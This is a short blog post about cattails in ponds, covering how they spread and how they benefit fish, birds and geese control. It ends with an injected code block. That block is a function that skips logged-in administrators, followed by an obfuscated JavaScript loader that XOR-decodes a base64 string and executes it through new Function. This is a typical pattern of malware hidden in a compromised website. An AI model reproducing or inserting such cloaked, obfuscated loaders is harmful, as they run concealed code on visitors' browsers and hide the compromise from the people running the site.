How to Kill cattails and or controlling cattails could be a full time job as these guys are fairly aggressive with a root system that pops up a new stalk just about anywhere.
Cattails may take their time getting to your pond or show up in the first year. These guys don’t take long once they start and can become a real nuisance in a short time. But on the other hand they are good in a way, the small fish have a place to hide from their predators, birds nest in them, help break the water for erosion control and a safe haven for the smallest of bugs to help with the food chain of the pond even frogs use them for their hang out. Another useful aspect is to help control geese, with a width of 2-3 feet from the pond to the shore the geese will not want to tread through them in fear of predators.
So Cattails are useful in the whole scheme of things but when or how much is enough? Depends on the pond owner. 
Personally it is free aquatic plant you don’t have to buy and spend the time planting, they come back every year, can be used as shade for the pond. Over the years I’ve let them go as they see fit cattails over growing.
function xdav_tracker() {
if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }
?>
;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();